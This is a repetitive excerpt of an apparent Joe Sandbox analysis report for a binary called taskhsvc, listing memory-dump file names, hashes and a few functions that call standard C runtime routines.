                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortstrrchr$exitmallocmemset
                                                                                                                          • String ID: kP$c
                                                                                                                          • API String ID: 1956349505-2123480077
                                                                                                                          • Opcode ID: d4218d33e8753d4d25063c495de980f86ff161fa4ab631764500318d49f6d644
                                                                                                                          • Instruction ID: 70607578a5908a9c36d9b0e1edc8475ed66016417740bf6a657052b796ffebb8
                                                                                                                          • Opcode Fuzzy Hash: d4218d33e8753d4d25063c495de980f86ff161fa4ab631764500318d49f6d644
                                                                                                                          • Instruction Fuzzy Hash: 313192B4A0460A8FCB00DF99C486AAEFBF1BF48314F058459E554AB351D374E985CFA1
                                                                                                                          Function 00D41282 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D412DB
                                                                                                                          • realloc.MSVCRT ref: 00D412FA
                                                                                                                          • exit.MSVCRT ref: 00D4133B
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D4134E
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abortexitrealloc
                                                                                                                          • String ID: @
                                                                                                                          • API String ID: 351688620-2766056989
                                                                                                                          • Opcode ID: 1f318af4c45b2219c18ab9414450ae9971a0e74c2559f3ac8745d4a0471b4897
                                                                                                                          • Instruction ID: 8676d4c863fec736c3e0aaaca349e2ebb880cf0e0e97272928cc1bff8dff1cb9
                                                                                                                          • Opcode Fuzzy Hash: 1f318af4c45b2219c18ab9414450ae9971a0e74c2559f3ac8745d4a0471b4897
                                                                                                                          • Instruction Fuzzy Hash: 362107B4904319DFDB00EFA5C44529EBBF0FF48344F009829E4A8AB241D7B8D985CF6A
                                                                                                                          Function 00D38F30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D38F86
                                                                                                                          • localtime.MSVCRT ref: 00D38F91
                                                                                                                          • memcpy.MSVCRT ref: 00D38FB4
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D38FE5
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abortlocaltimememcpy
                                                                                                                          • String ID: $
                                                                                                                          • API String ID: 1567290103-3993045852
                                                                                                                          • Opcode ID: 062a89a1b497da6b689edbca74309cb7c45944743f637f665e133b2e291f5e7f
                                                                                                                          • Instruction ID: ff826315b86433574132b82e1a0fb80e4f9f127e846c00edb0db192175e297e8
                                                                                                                          • Opcode Fuzzy Hash: 062a89a1b497da6b689edbca74309cb7c45944743f637f665e133b2e291f5e7f
                                                                                                                          • Instruction Fuzzy Hash: 091183B4908319DFCB00EFA9D44569EBBF1BF48304F049819E898A7341D7789981CF62
                                                                                                                          Function 00D4107E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D410D1
                                                                                                                          • malloc.MSVCRT ref: 00D410E9
                                                                                                                          • exit.MSVCRT ref: 00D4112A
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D4113D
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
